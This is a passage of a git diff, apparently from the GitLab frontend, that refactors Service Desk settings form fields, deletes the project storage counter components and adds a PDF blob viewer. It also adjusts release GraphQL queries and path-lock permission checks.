+ v-model.trim="projectKey"
+ data-testid="project-suffix"
+ @blur="validateProjectKey"
+ />
+
+ <template v-if="hasProjectKeySupport" #description>
+ <gl-sprintf
+ :message="
+ __('Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}')
+ "
+ >
+ <template #link="{ content }">
+ <gl-link
+ :href="emailSuffixHelpUrl"
+ target="_blank"
+ class="gl-text-blue-600 font-size-inherit"
+ >{{ content }}
+ </gl-link>
</template>
</gl-sprintf>
- </span>
- </template>
- <template v-else>
- <gl-loading-icon size="sm" :inline="true" />
- <span class="sr-only">{{ __('Fetching incoming email') }}</span>
- </template>
+ </template>
+ <template v-else #description>
+ <gl-sprintf
+ :message="
+ __(
+ 'To add a custom suffix, set up a Service Desk email address. %{linkStart}Learn more.%{linkEnd}',
+ )
+ "
+ >
+ <template #link="{ content }">
+ <gl-link
+ :href="customEmailAddressHelpUrl"
+ target="_blank"
+ class="gl-text-blue-600 font-size-inherit"
+ >{{ content }}
+ </gl-link>
+ </template>
+ </gl-sprintf>
+ </template>
+
+ <template v-if="hasProjectKeySupport && projectKeyError" #invalid-feedback>
+ {{ projectKeyError }}
+ </template>
+ </gl-form-group>
- <label for="service-desk-project-suffix" class="mt-3">
- {{ __('Project name suffix') }}
- </label>
- <gl-form-input
- v-if="hasProjectKeySupport"
- id="service-desk-project-suffix"
- v-model.trim="projectKey"
- data-testid="project-suffix"
- class="form-control"
+ <gl-form-group
+ :label="__('Template to append to all Service Desk issues')"
:state="!projectKeyError"
- @blur="validateProjectKey"
- />
- <span v-if="hasProjectKeySupport && projectKeyError" class="form-text text-danger">
- {{ projectKeyError }}
- </span>
- <span
- v-if="hasProjectKeySupport"
- class="form-text text-muted"
- :class="{ 'gl-mt-2!': hasProjectKeySupport && projectKeyError }"
+ class="mt-3"
>
- {{ __('A string appended to the project path to form the Service Desk email address.') }}
- </span>
- <span v-else class="form-text text-muted">
- <gl-sprintf
- :message="
- __(
- 'To add a custom suffix, set up a Service Desk email address. %{linkStart}Learn more.%{linkEnd}',
- )
- "
- >
- <template #link="{ content }">
- <gl-link
- href="https://docs.gitlab.com/ee/user/project/service_desk.html#using-a-custom-email-address"
- target="_blank"
- class="gl-text-blue-600 font-size-inherit"
- >{{ content }}
- </gl-link>
- </template>
- </gl-sprintf>
- </span>
+ <service-desk-template-dropdown
+ :selected-template="selectedTemplate"
+ :selected-file-template-project-id="selectedFileTemplateProjectId"
+ :templates="templates"
+ @change="templateChange"
+ />
+ </gl-form-group>
+
+ <gl-form-group
+ :label="__('Email display name')"
+ label-for="service-desk-email-from-name"
+ :state="!projectKeyError"
+ class="mt-3"
+ >
+ <gl-form-input
+ v-if="hasProjectKeySupport"
+ id="service-desk-email-from-name"
+ v-model.trim="outgoingName"
+ data-testid="email-from-name"
+ />
- <label for="service-desk-template-select" class="mt-3">
- {{ __('Template to append to all Service Desk issues') }}
- </label>
- <service-desk-template-dropdown
- :selected-template="selectedTemplate"
- :selected-file-template-project-id="selectedFileTemplateProjectId"
- :templates="templates"
- @change="templateChange"
- />
+ <template v-if="hasProjectKeySupport" #description>
+ {{ __('Emails sent from Service Desk have this name.') }}
+ </template>
+ </gl-form-group>
- <label for="service-desk-email-from-name" class="mt-3">
- {{ __('Email display name') }}
- </label>
- <input id="service-desk-email-from-name" v-model.trim="outgoingName" class="form-control" />
- <span class="form-text text-muted">
- {{ __('Emails sent from Service Desk have this name.') }}
- </span>
<div class="gl-display-flex gl-justify-content-end">
<gl-button
variant="success"
diff --git a/app/assets/javascripts/projects/storage_counter/components/app.vue b/app/assets/javascripts/projects/storage_counter/components/app.vue
deleted file mode 100644
index 1a911ea3d9b..00000000000
--- a/app/assets/javascripts/projects/storage_counter/components/app.vue
+++ /dev/null
@@ -1,106 +0,0 @@
-<script>
-import { GlAlert, GlLink, GlLoadingIcon } from '@gitlab/ui';
-import { sprintf } from '~/locale';
-import UsageGraph from '~/vue_shared/components/storage_counter/usage_graph.vue';
-import {
- ERROR_MESSAGE,
- LEARN_MORE_LABEL,
- USAGE_QUOTAS_LABEL,
- TOTAL_USAGE_TITLE,
- TOTAL_USAGE_SUBTITLE,
- TOTAL_USAGE_DEFAULT_TEXT,
- HELP_LINK_ARIA_LABEL,
-} from '../constants';
-import getProjectStorageCount from '../queries/project_storage.query.graphql';
-import { parseGetProjectStorageResults } from '../utils';
-import StorageTable from './storage_table.vue';
-
-export default {
- name: 'StorageCounterApp',
- components: {
- GlAlert,
- GlLink,
- GlLoadingIcon,
- StorageTable,
- UsageGraph,
- },
- inject: ['projectPath', 'helpLinks'],
- apollo: {
- project: {
- query: getProjectStorageCount,
- variables() {
- return {
- fullPath: this.projectPath,
- };
- },
- update(data) {
- return parseGetProjectStorageResults(data, this.helpLinks);
- },
- error() {
- this.error = ERROR_MESSAGE;
- },
- },
- },
- data() {
- return {
- project: {},
- error: '',
- };
- },
- computed: {
- totalUsage() {
- return this.project?.storage?.totalUsage || TOTAL_USAGE_DEFAULT_TEXT;
- },
- storageTypes() {
- return this.project?.storage?.storageTypes || [];
- },
- },
- methods: {
- clearError() {
- this.error = '';
- },
- helpLinkAriaLabel(linkTitle) {
- return sprintf(HELP_LINK_ARIA_LABEL, {
- linkTitle,
- });
- },
- },
- LEARN_MORE_LABEL,
- USAGE_QUOTAS_LABEL,
- TOTAL_USAGE_TITLE,
- TOTAL_USAGE_SUBTITLE,
-};
-</script>
-<template>
- <gl-loading-icon v-if="$apollo.queries.project.loading" class="gl-mt-5" size="md" />
- <gl-alert v-else-if="error" variant="danger" @dismiss="clearError">
- {{ error }}
- </gl-alert>
- <div v-else>
- <div class="gl-pt-5 gl-px-3">
- <div class="gl-display-flex gl-justify-content-space-between gl-align-items-center">
- <div>
- <p class="gl-m-0 gl-font-lg gl-font-weight-bold">{{ $options.TOTAL_USAGE_TITLE }}</p>
- <p class="gl-m-0 gl-text-gray-400">
- {{ $options.TOTAL_USAGE_SUBTITLE }}
- <gl-link
- :href="helpLinks.usageQuotasHelpPagePath"
- target="_blank"
- :aria-label="helpLinkAriaLabel($options.USAGE_QUOTAS_LABEL)"
- data-testid="usage-quotas-help-link"
- >
- {{ $options.LEARN_MORE_LABEL }}
- </gl-link>
- </p>
- </div>
- <p class="gl-m-0 gl-font-size-h-display gl-font-weight-bold" data-testid="total-usage">
- {{ totalUsage }}
- </p>
- </div>
- </div>
- <div v-if="project.statistics" class="gl-w-full">
- <usage-graph :root-storage-statistics="project.statistics" :limit="0" />
- </div>
- <storage-table :storage-types="storageTypes" />
- </div>
-</template>
diff --git a/app/assets/javascripts/projects/storage_counter/components/storage_table.vue b/app/assets/javascripts/projects/storage_counter/components/storage_table.vue
deleted file mode 100644
index a42a9711572..00000000000
--- a/app/assets/javascripts/projects/storage_counter/components/storage_table.vue
+++ /dev/null
@@ -1,88 +0,0 @@
-<script>
-import { GlLink, GlIcon, GlTableLite as GlTable, GlSprintf } from '@gitlab/ui';
-import { numberToHumanSize } from '~/lib/utils/number_utils';
-import { thWidthClass } from '~/lib/utils/table_utility';
-import { sprintf } from '~/locale';
-import { PROJECT_TABLE_LABELS, HELP_LINK_ARIA_LABEL } from '../constants';
-import StorageTypeIcon from './storage_type_icon.vue';
-
-export default {
- name: 'StorageTable',
- components: {
- GlLink,
- GlIcon,
- GlTable,
- GlSprintf,
- StorageTypeIcon,
- },
- props: {
- storageTypes: {
- type: Array,
- required: true,
- },
- },
- methods: {
- helpLinkAriaLabel(linkTitle) {
- return sprintf(HELP_LINK_ARIA_LABEL, {
- linkTitle,
- });
- },
- },
- projectTableFields: [
- {
- key: 'storageType',
- label: PROJECT_TABLE_LABELS.STORAGE_TYPE,
- thClass: thWidthClass(90),
- sortable: true,
- },
- {
- key: 'value',
- label: PROJECT_TABLE_LABELS.VALUE,
- thClass: thWidthClass(10),
- sortable: true,
- formatter: (value) => {
- return numberToHumanSize(value, 1);
- },
- },
- ],
-};
-</script>
-<template>
- <gl-table :items="storageTypes" :fields="$options.projectTableFields">
- <template #cell(storageType)="{ item }">
- <div class="gl-display-flex gl-flex-direction-row">
- <storage-type-icon
- :name="item.storageType.id"
- :data-testid="`${item.storageType.id}-icon`"
- />
- <div>
- <p class="gl-font-weight-bold gl-mb-0" :data-testid="`${item.storageType.id}-name`">
- {{ item.storageType.name }}
- <gl-link
- v-if="item.storageType.helpPath"
- :href="item.storageType.helpPath"
- target="_blank"
- :aria-label="helpLinkAriaLabel(item.storageType.name)"
- :data-testid="`${item.storageType.id}-help-link`"
- >
- <gl-icon name="question" :size="12" />
- </gl-link>
- </p>
- <p class="gl-mb-0" :data-testid="`${item.storageType.id}-description`">
- {{ item.storageType.description }}
- </p>
- <p v-if="item.storageType.warningMessage" class="gl-mb-0 gl-font-sm">
- <gl-icon name="warning" :size="12" />
- <gl-sprintf :message="item.storageType.warningMessage">
- <template #warningLink="{ content }">
- <gl-link :href="item.storageType.warningLink" target="_blank" class="gl-font-sm">{{
- content
- }}</gl-link>
- </template>
- </gl-sprintf>
- </p>
- </div>
- </div>
- </template>
- </gl-table>
-</template>
diff --git a/app/assets/javascripts/projects/storage_counter/components/storage_type_icon.vue b/app/assets/javascripts/projects/storage_counter/components/storage_type_icon.vue
deleted file mode 100644
index bc7cd42df1e..00000000000
--- a/app/assets/javascripts/projects/storage_counter/components/storage_type_icon.vue
+++ /dev/null
@@ -1,35 +0,0 @@
-<script>
-import { GlIcon } from '@gitlab/ui';
-
-export default {
- components: { GlIcon },
- props: {
- name: {
- type: String,
- required: false,
- default: '',
- },
- },
- methods: {
- iconName(storageTypeName) {
- const defaultStorageTypeIcon = 'disk';
- const storageTypeIconMap = {
- lfsObjectsSize: 'doc-image',
- snippetsSize: 'snippet',
- uploadsSize: 'upload',
- repositorySize: 'infrastructure-registry',
- packagesSize: 'package',
- };
-
- return storageTypeIconMap[`${storageTypeName}`] ?? defaultStorageTypeIcon;
- },
- },
-};
-</script>
-<template>
- <span
- class="gl-display-inline-flex gl-align-items-flex-start gl-justify-content-center gl-min-w-8 gl-pr-2 gl-pt-1"
- >
- <gl-icon :name="iconName(name)" :size="16" class="gl-mt-1" />
- </span>
-</template>
diff --git a/app/assets/javascripts/projects/storage_counter/constants.js b/app/assets/javascripts/projects/storage_counter/constants.js
deleted file mode 100644
index df4b1800dff..00000000000
--- a/app/assets/javascripts/projects/storage_counter/constants.js
+++ /dev/null
@@ -1,61 +0,0 @@
-import { s__, __ } from '~/locale';
-
-export const PROJECT_STORAGE_TYPES = [
- {
- id: 'buildArtifactsSize',
- name: s__('UsageQuota|Artifacts'),
- description: s__('UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD.'),
- warningMessage: s__(
- 'UsageQuota|Because of a known issue, the artifact total for some projects may be incorrect. For more details, read %{warningLinkStart}the epic%{warningLinkEnd}.',
- ),
- warningLink: 'https://gitlab.com/groups/gitlab-org/-/epics/5380',
- },
- {
- id: 'lfsObjectsSize',
- name: s__('UsageQuota|LFS storage'),
- description: s__('UsageQuota|Audio samples, videos, datasets, and graphics.'),
- },
- {
- id: 'packagesSize',
- name: s__('UsageQuota|Packages'),
- description: s__('UsageQuota|Code packages and container images.'),
- },
- {
- id: 'repositorySize',
- name: s__('UsageQuota|Repository'),
- description: s__('UsageQuota|Git repository.'),
- },
- {
- id: 'snippetsSize',
- name: s__('UsageQuota|Snippets'),
- description: s__('UsageQuota|Shared bits of code and text.'),
- },
- {
- id: 'uploadsSize',
- name: s__('UsageQuota|Uploads'),
- description: s__('UsageQuota|File attachments and smaller design graphics.'),
- },
- {
- id: 'wikiSize',
- name: s__('UsageQuota|Wiki'),
- description: s__('UsageQuota|Wiki content.'),
- },
-];
-
-export const PROJECT_TABLE_LABELS = {
- STORAGE_TYPE: s__('UsageQuota|Storage type'),
- VALUE: s__('UsageQuota|Usage'),
-};
-
-export const ERROR_MESSAGE = s__(
- 'UsageQuota|Something went wrong while fetching project storage statistics',
-);
-
-export const LEARN_MORE_LABEL = __('Learn more.');
-export const USAGE_QUOTAS_LABEL = s__('UsageQuota|Usage Quotas');
-export const HELP_LINK_ARIA_LABEL = s__('UsageQuota|%{linkTitle} help link');
-export const TOTAL_USAGE_DEFAULT_TEXT = __('N/A');
-export const TOTAL_USAGE_TITLE = s__('UsageQuota|Usage breakdown');
-export const TOTAL_USAGE_SUBTITLE = s__(
- 'UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items.',
-);
diff --git a/app/assets/javascripts/projects/storage_counter/index.js b/app/assets/javascripts/projects/storage_counter/index.js
deleted file mode 100644
index 15796bc1870..00000000000
--- a/app/assets/javascripts/projects/storage_counter/index.js
+++ /dev/null
@@ -1,51 +0,0 @@
-import Vue from 'vue';
-import VueApollo from 'vue-apollo';
-import createDefaultClient from '~/lib/graphql';
-import StorageCounterApp from './components/app.vue';
-
-Vue.use(VueApollo);
-
-export default (containerId = 'js-project-storage-count-app') => {
- const el = document.getElementById(containerId);
-
- if (!el) {
- return false;
- }
-
- const {
- projectPath,
- usageQuotasHelpPagePath,
- buildArtifactsHelpPagePath,
- lfsObjectsHelpPagePath,
- packagesHelpPagePath,
- repositoryHelpPagePath,
- snippetsHelpPagePath,
- uploadsHelpPagePath,
- wikiHelpPagePath,
- } = el.dataset;
-
- const apolloProvider = new VueApollo({
- defaultClient: createDefaultClient(),
- });
-
- return new Vue({
- el,
- apolloProvider,
- provide: {
- projectPath,
- helpLinks: {
- usageQuotasHelpPagePath,
- buildArtifactsHelpPagePath,
- lfsObjectsHelpPagePath,
- packagesHelpPagePath,
- repositoryHelpPagePath,
- snippetsHelpPagePath,
- uploadsHelpPagePath,
- wikiHelpPagePath,
- },
- },
- render(createElement) {
- return createElement(StorageCounterApp);
- },
- });
-};
diff --git a/app/assets/javascripts/projects/storage_counter/queries/project_storage.query.graphql b/app/assets/javascripts/projects/storage_counter/queries/project_storage.query.graphql
deleted file mode 100644
index a4f2c529522..00000000000
--- a/app/assets/javascripts/projects/storage_counter/queries/project_storage.query.graphql
+++ /dev/null
@@ -1,16 +0,0 @@
-query getProjectStorageCount($fullPath: ID!) {
- project(fullPath: $fullPath) {
- id
- statistics {
- buildArtifactsSize
- pipelineArtifactsSize
- lfsObjectsSize
- packagesSize
- repositorySize
- snippetsSize
- storageSize
- uploadsSize
- wikiSize
- }
- }
-}
diff --git a/app/assets/javascripts/projects/storage_counter/utils.js b/app/assets/javascripts/projects/storage_counter/utils.js
deleted file mode 100644
index 9fca9d88f46..00000000000
--- a/app/assets/javascripts/projects/storage_counter/utils.js
+++ /dev/null
@@ -1,36 +0,0 @@
-import { numberToHumanSize } from '~/lib/utils/number_utils';
-import { PROJECT_STORAGE_TYPES } from './constants';
-
-/**
- * This method parses the results from `getProjectStorageCount` call.
- *
- * @param {Object} data graphql result
- * @returns {Object}
- */
-export const parseGetProjectStorageResults = (data, helpLinks) => {
- const projectStatistics = data?.project?.statistics;
- if (!projectStatistics) {
- return {};
- }
- const { storageSize, ...storageStatistics } = projectStatistics;
- const storageTypes = PROJECT_STORAGE_TYPES.reduce((types, currentType) => {
- const helpPathKey = currentType.id.replace(`Size`, `HelpPagePath`);
- const helpPath = helpLinks[helpPathKey];
-
- return types.concat({
- storageType: {
- ...currentType,
- helpPath,
- },
- value: storageStatistics[currentType.id],
- });
- }, []);
-
- return {
- storage: {
- totalUsage: numberToHumanSize(storageSize, 1),
- storageTypes,
- },
- statistics: projectStatistics,
- };
-};
diff --git a/app/assets/javascripts/related_issues/components/issue_token.vue b/app/assets/javascripts/related_issues/components/issue_token.vue
index abbd612d3ec..61bd2bf5e8e 100644
--- a/app/assets/javascripts/related_issues/components/issue_token.vue
+++ b/app/assets/javascripts/related_issues/components/issue_token.vue
@@ -1,7 +1,7 @@
<script>
import { GlIcon, GlTooltipDirective } from '@gitlab/ui';
import { __, sprintf } from '~/locale';
-import relatedIssuableMixin from '~/vue_shared/mixins/related_issuable_mixin';
+import relatedIssuableMixin from '~/issuable/mixins/related_issuable_mixin';
export default {
name: 'IssueToken',
diff --git a/app/assets/javascripts/related_issues/components/related_issues_list.vue b/app/assets/javascripts/related_issues/components/related_issues_list.vue
index a21e294a34a..58138655241 100644
--- a/app/assets/javascripts/related_issues/components/related_issues_list.vue
+++ b/app/assets/javascripts/related_issues/components/related_issues_list.vue
@@ -2,7 +2,7 @@
import { GlLoadingIcon } from '@gitlab/ui';
import Sortable from 'sortablejs';
import sortableConfig from '~/sortable/sortable_config';
-import RelatedIssuableItem from '~/vue_shared/components/issue/related_issuable_item.vue';
+import RelatedIssuableItem from '~/issuable/components/related_issuable_item.vue';
export default {
name: 'RelatedIssuesList',
diff --git a/app/assets/javascripts/related_merge_requests/components/related_merge_requests.vue b/app/assets/javascripts/related_merge_requests/components/related_merge_requests.vue
deleted file mode 100644
index 50835142d28..00000000000
--- a/app/assets/javascripts/related_merge_requests/components/related_merge_requests.vue
+++ /dev/null
@@ -1,120 +0,0 @@
-<script>
-import { GlLink, GlLoadingIcon, GlIcon } from '@gitlab/ui';
-import { mapState, mapActions } from 'vuex';
-import { sprintf, __, n__ } from '~/locale';
-import RelatedIssuableItem from '~/vue_shared/components/issue/related_issuable_item.vue';
-import { parseIssuableData } from '../../issue_show/utils/parse_data';
-
-export default {
- name: 'RelatedMergeRequests',
- components: {
- GlIcon,
- GlLink,
- GlLoadingIcon,
- RelatedIssuableItem,
- },
- props: {
- endpoint: {
- type: String,
- required: true,
- },
- projectNamespace: {
- type: String,
- required: true,
- },
- projectPath: {
- type: String,
- required: true,
- },
- },
- computed: {
- ...mapState(['isFetchingMergeRequests', 'mergeRequests', 'totalCount']),
- closingMergeRequestsText() {
- if (!this.hasClosingMergeRequest) {
- return '';
- }
-
- const mrText = n__(
- 'When this merge request is accepted',
- 'When these merge requests are accepted',
- this.totalCount,
- );
-
- return sprintf(__('%{mrText}, this issue will be closed automatically.'), { mrText });
- },
- },
- mounted() {
- this.setInitialState({ apiEndpoint: this.endpoint });
- this.fetchMergeRequests();
- },
- created() {
- this.hasClosingMergeRequest = parseIssuableData().hasClosingMergeRequest;
- },
- methods: {
- ...mapActions(['setInitialState', 'fetchMergeRequests']),
- getAssignees(mr) {
- if (mr.assignees) {
- return mr.assignees;
- }
-
- return mr.assignee ? [mr.assignee] : [];
- },
- },
-};
-</script>
-
-<template>
- <div v-if="isFetchingMergeRequests || (!isFetchingMergeRequests && totalCount)">
- <div class="card card-slim gl-mt-5">
- <div class="card-header">
- <div
- class="card-title gl-relative gl-display-flex gl-align-items-center gl-line-height-20 gl-font-weight-bold gl-m-0"
- >
- <gl-link
- class="anchor gl-absolute gl-text-decoration-none"
- href="#related-merge-requests"
- aria-labelledby="related-merge-requests"
- />
- <h3 id="related-merge-requests" class="gl-font-base gl-m-0">
- {{ __('Related merge requests') }}
- </h3>
- <template v-if="totalCount">
- <gl-icon name="merge-request" class="gl-ml-5 gl-mr-2 gl-text-gray-500" />
- <span data-testid="count">{{ totalCount }}</span>
- </template>
- </div>
- </div>
- <gl-loading-icon
- v-if="isFetchingMergeRequests"
- size="sm"
- label="Fetching related merge requests"
- class="gl-py-3"
- />
- <ul v-else class="content-list related-items-list">
- <li v-for="mr in mergeRequests" :key="mr.id" class="list-item gl-m-0! gl-p-0!">
- <related-issuable-item
- :id-key="mr.id"
- :display-reference="mr.reference"
- :title="mr.title"
- :milestone="mr.milestone"
- :assignees="getAssignees(mr)"
- :created-at="mr.created_at"
- :closed-at="mr.closed_at"
- :merged-at="mr.merged_at"
- :path="mr.web_url"
- :state="mr.state"
- :is-merge-request="true"
- :pipeline-status="mr.head_pipeline && mr.head_pipeline.detailed_status"
- path-id-separator="!"
- />
- </li>
- </ul>
- </div>
- <div
- v-if="hasClosingMergeRequest && !isFetchingMergeRequests"
- class="issue-closed-by-widget second-block"
- >
- {{ closingMergeRequestsText }}
- </div>
- </div>
-</template>
diff --git a/app/assets/javascripts/releases/graphql/fragments/release.fragment.graphql b/app/assets/javascripts/releases/graphql/fragments/release.fragment.graphql
index 3a927dfc756..8a5613c75d2 100644
--- a/app/assets/javascripts/releases/graphql/fragments/release.fragment.graphql
+++ b/app/assets/javascripts/releases/graphql/fragments/release.fragment.graphql
@@ -35,6 +35,7 @@ fragment Release on Release {
__typename
nodes {
__typename
+ id
filepath
collectedAt
sha
@@ -52,12 +53,14 @@ fragment Release on Release {
}
commit {
__typename
+ id
sha
webUrl
title
}
author {
__typename
+ id
webUrl
avatarUrl
username
diff --git a/app/assets/javascripts/releases/graphql/fragments/release_for_editing.fragment.graphql b/app/assets/javascripts/releases/graphql/fragments/release_for_editing.fragment.graphql
index 75a73acb9ae..1823a327350 100644
--- a/app/assets/javascripts/releases/graphql/fragments/release_for_editing.fragment.graphql
+++ b/app/assets/javascripts/releases/graphql/fragments/release_for_editing.fragment.graphql
@@ -18,6 +18,7 @@ fragment ReleaseForEditing on Release {
}
milestones {
nodes {
+ id
title
}
}
diff --git a/app/assets/javascripts/releases/graphql/queries/all_releases.query.graphql b/app/assets/javascripts/releases/graphql/queries/all_releases.query.graphql
index c69481150e0..7f67f7d11a3 100644
--- a/app/assets/javascripts/releases/graphql/queries/all_releases.query.graphql
+++ b/app/assets/javascripts/releases/graphql/queries/all_releases.query.graphql
@@ -16,6 +16,7 @@ query allReleasesDeprecated(
) {
project(fullPath: $fullPath) {
__typename
+ id
releases(first: $first, last: $last, before: $before, after: $after, sort: $sort) {
__typename
nodes {
diff --git a/app/assets/javascripts/releases/graphql/queries/one_release.query.graphql b/app/assets/javascripts/releases/graphql/queries/one_release.query.graphql
index c80d6e753ab..dab92d5d41c 100644
--- a/app/assets/javascripts/releases/graphql/queries/one_release.query.graphql
+++ b/app/assets/javascripts/releases/graphql/queries/one_release.query.graphql
@@ -2,6 +2,7 @@
query oneRelease($fullPath: ID!, $tagName: String!) {
project(fullPath: $fullPath) {
+ id
release(tagName: $tagName) {
...Release
}
diff --git a/app/assets/javascripts/releases/graphql/queries/one_release_for_editing.query.graphql b/app/assets/javascripts/releases/graphql/queries/one_release_for_editing.query.graphql
index 767ba4aeca0..962d554303a 100644
--- a/app/assets/javascripts/releases/graphql/queries/one_release_for_editing.query.graphql
+++ b/app/assets/javascripts/releases/graphql/queries/one_release_for_editing.query.graphql
@@ -2,6 +2,7 @@
query oneReleaseForEditing($fullPath: ID!, $tagName: String!) {
project(fullPath: $fullPath) {
+ id
release(tagName: $tagName) {
...ReleaseForEditing
}
diff --git a/app/assets/javascripts/repository/commits_service.js b/app/assets/javascripts/repository/commits_service.js
index 504efaea8cc..5fd9cfd4e53 100644
--- a/app/assets/javascripts/repository/commits_service.js
+++ b/app/assets/javascripts/repository/commits_service.js
@@ -52,14 +52,9 @@ export const loadCommits = async (projectPath, path, ref, offset) => {
}
// We fetch in batches of 25, so this ensures we don't refetch
- Array.from(Array(COMMIT_BATCH_SIZE)).forEach((_, i) => {
- addRequestedOffset(offset - i);
- addRequestedOffset(offset + i);
- });
+ Array.from(Array(COMMIT_BATCH_SIZE)).forEach((_, i) => addRequestedOffset(offset + i));
- // Since a user could scroll either up or down, we want to support lazy loading in both directions
- const commitsBatchUp = await fetchData(projectPath, path, ref, offset - COMMIT_BATCH_SIZE);
- const commitsBatchDown = await fetchData(projectPath, path, ref, offset);
+ const commits = await fetchData(projectPath, path, ref, offset);
- return commitsBatchUp.concat(commitsBatchDown);
+ return commits;
};
diff --git a/app/assets/javascripts/repository/components/blob_button_group.vue b/app/assets/javascripts/repository/components/blob_button_group.vue
index 4e7ca7b17e4..6f540bf8ece 100644
--- a/app/assets/javascripts/repository/components/blob_button_group.vue
+++ b/app/assets/javascripts/repository/components/blob_button_group.vue
@@ -53,6 +53,10 @@ export default {
type: Boolean,
required: true,
},
+ canPushToBranch: {
+ type: Boolean,
+ required: true,
+ },
emptyRepo: {
type: Boolean,
required: true,
@@ -83,6 +87,9 @@ export default {
deleteModalTitle() {
return sprintf(__('Delete %{name}'), { name: this.name });
},
+ lockBtnQASelector() {
+ return this.canLock ? 'lock_button' : 'disabled_lock_button';
+ },
},
};
</script>
@@ -98,6 +105,7 @@ export default {
:is-locked="isLocked"
:can-lock="canLock"
data-testid="lock"
+ :data-qa-selector="lockBtnQASelector"
/>
<gl-button v-gl-modal="replaceModalId" data-testid="replace">
{{ $options.i18n.replace }}
@@ -125,6 +133,7 @@ export default {
:target-branch="targetBranch || ref"
:original-branch="originalBranch || ref"
:can-push-code="canPushCode"
+ :can-push-to-branch="canPushToBranch"
:empty-repo="emptyRepo"
/>
</div>
diff --git a/app/assets/javascripts/repository/components/blob_content_viewer.vue b/app/assets/javascripts/repository/components/blob_content_viewer.vue
index 2cc5a8a79d2..f3fa4526999 100644
--- a/app/assets/javascripts/repository/components/blob_content_viewer.vue
+++ b/app/assets/javascripts/repository/components/blob_content_viewer.vue
@@ -106,6 +106,7 @@ export default {
ideForkAndEditPath: '',
storedExternally: false,
canModifyBlob: false,
+ canCurrentUserPushToBranch: false,
rawPath: '',
externalStorageUrl: '',
replacePath: '',
@@ -156,11 +157,18 @@ export default {
},
canLock() {
const { pushCode, downloadCode } = this.project.userPermissions;
+ const currentUsername = window.gon?.current_username;
+
+ if (this.pathLockedByUser && this.pathLockedByUser.username !== currentUsername) {
+ return false;
+ }
return pushCode && downloadCode;
},
- isLocked() {
- return this.project.pathLocks.nodes.some((node) => node.path === this.path);
+ pathLockedByUser() {
+ const pathLock = this.project.pathLocks.nodes.find((node) => node.path === this.path);
+
+ return pathLock ? pathLock.user : null;
},
showForkSuggestion() {
const { createMergeRequestIn, forkProject } = this.project.userPermissions;
@@ -266,9 +274,10 @@ export default {
:replace-path="blobInfo.replacePath"
:delete-path="blobInfo.webPath"
:can-push-code="project.userPermissions.pushCode"
+ :can-push-to-branch="blobInfo.canCurrentUserPushToBranch"
:empty-repo="project.repository.empty"
:project-path="projectPath"
- :is-locked="isLocked"
+ :is-locked="Boolean(pathLockedByUser)"
:can-lock="canLock"
/>
</template>
diff --git a/app/assets/javascripts/repository/components/blob_viewers/index.js b/app/assets/javascripts/repository/components/blob_viewers/index.js
index c5209d97abb..8f6f2d15215 100644
--- a/app/assets/javascripts/repository/components/blob_viewers/index.js
+++ b/app/assets/javascripts/repository/components/blob_viewers/index.js
@@ -3,8 +3,11 @@ export const loadViewer = (type) => {
case 'empty':
return () => import(/* webpackChunkName: 'blob_empty_viewer' */ './empty_viewer.vue');
case 'text':
- return gon.features.refactorTextViewer
- ? () => import(/* webpackChunkName: 'blob_text_viewer' */ './text_viewer.vue')
+ return gon.features.highlightJs
+ ? () =>
+ import(
+ /* webpackChunkName: 'blob_text_viewer' */ '~/vue_shared/components/source_viewer.vue'
+ )
: null;
case 'download':
return () => import(/* webpackChunkName: 'blob_download_viewer' */ './download_viewer.vue');
@@ -12,6 +15,8 @@ export const loadViewer = (type) => {
return () => import(/* webpackChunkName: 'blob_image_viewer' */ './image_viewer.vue');
case 'video':
return () => import(/* webpackChunkName: 'blob_video_viewer' */ './video_viewer.vue');
+ case 'pdf':
+ return () => import(/* webpackChunkName: 'blob_pdf_viewer' */ './pdf_viewer.vue');
default:
return null;
}
@@ -21,8 +26,7 @@ export const viewerProps = (type, blob) => {
return {
text: {
content: blob.rawTextBlob,
- fileName: blob.name,
- readOnly: true,
+ autoDetect: true, // We'll eventually disable autoDetect and pass the language explicitly to reduce the footprint (https://gitlab.com/gitlab-org/gitlab/-/issues/348145)
},
download: {
fileName: blob.name,
@@ -36,5 +40,9 @@ export const viewerProps = (type, blob) => {
video: {
url: blob.rawPath,
},
+ pdf: {
+ url: blob.rawPath,
+ fileSize: blob.rawSize,
+ },
}[type];
};
diff --git a/app/assets/javascripts/repository/components/blob_viewers/pdf_viewer.vue b/app/assets/javascripts/repository/components/blob_viewers/pdf_viewer.vue
new file mode 100644
index 00000000000..803a357df52
--- /dev/null
+++ b/app/assets/javascripts/repository/components/blob_viewers/pdf_viewer.vue
@@ -0,0 +1,50 @@
+<script>
+import { GlButton } from '@gitlab/ui';
+import PdfViewer from '~/blob/pdf/pdf_viewer.vue';
+import { __ } from '~/locale';
+import { PDF_MAX_FILE_SIZE, PDF_MAX_PAGE_LIMIT } from '../../constants';
+
+export default {
+ components: { GlButton, PdfViewer },
+ i18n: {
+ tooLargeDescription: __('This PDF is too large to display. Please download to view.'),
+ tooLargeButtonText: __('Download PDF'),
+ },
+ props: {
+ url: {
+ type: String,
+ required: true,
+ },
+ fileSize: {
+ type: Number,
+ required: true,
+ },
+ },
+ data() {
+ return { totalPages: 0 };
+ },
+ computed: {
+ tooLargeToDisplay() {
+ return this.fileSize > PDF_MAX_FILE_SIZE || this.totalPages > PDF_MAX_PAGE_LIMIT;
+ },
+ },
+ methods: {
+ handleOnLoad(totalPages) {
+ this.totalPages = totalPages;
+ },
+ },
+};
+</script>
+<template>
+ <div>
+ <pdf-viewer v-if="!tooLargeToDisplay" :pdf="url" @pdflabload="handleOnLoad" />
+
+ <div v-else class="gl-display-flex gl-flex-direction-column gl-align-items-center gl-p-5">
+ <p>{{ $options.i18n.tooLargeDescription }}</p>
+
+ <gl-button icon="download" category="secondary" variant="confirm" :href="url" download>{{
+ $options.i18n.tooLargeButtonText
+ }}</gl-button>
+ </div>
+ </div>
+</template>
diff --git a/app/assets/javascripts/repository/components/blob_viewers/text_viewer.vue b/app/assets/javascripts/repository/components/blob_viewers/text_viewer.vue
deleted file mode 100644
index 57fc979a56e..00000000000
--- a/app/assets/javascripts/repository/components/blob_viewers/text_viewer.vue
+++ /dev/null
@@ -1,25 +0,0 @@
-<script>
-export default {
- components: {
- SourceEditor: () =>
- import(/* webpackChunkName: 'SourceEditor' */ '~/vue_shared/components/source_editor.vue'),
- },
- props: {
- content: {
- type: String,
- required: true,
- },
- fileName: {
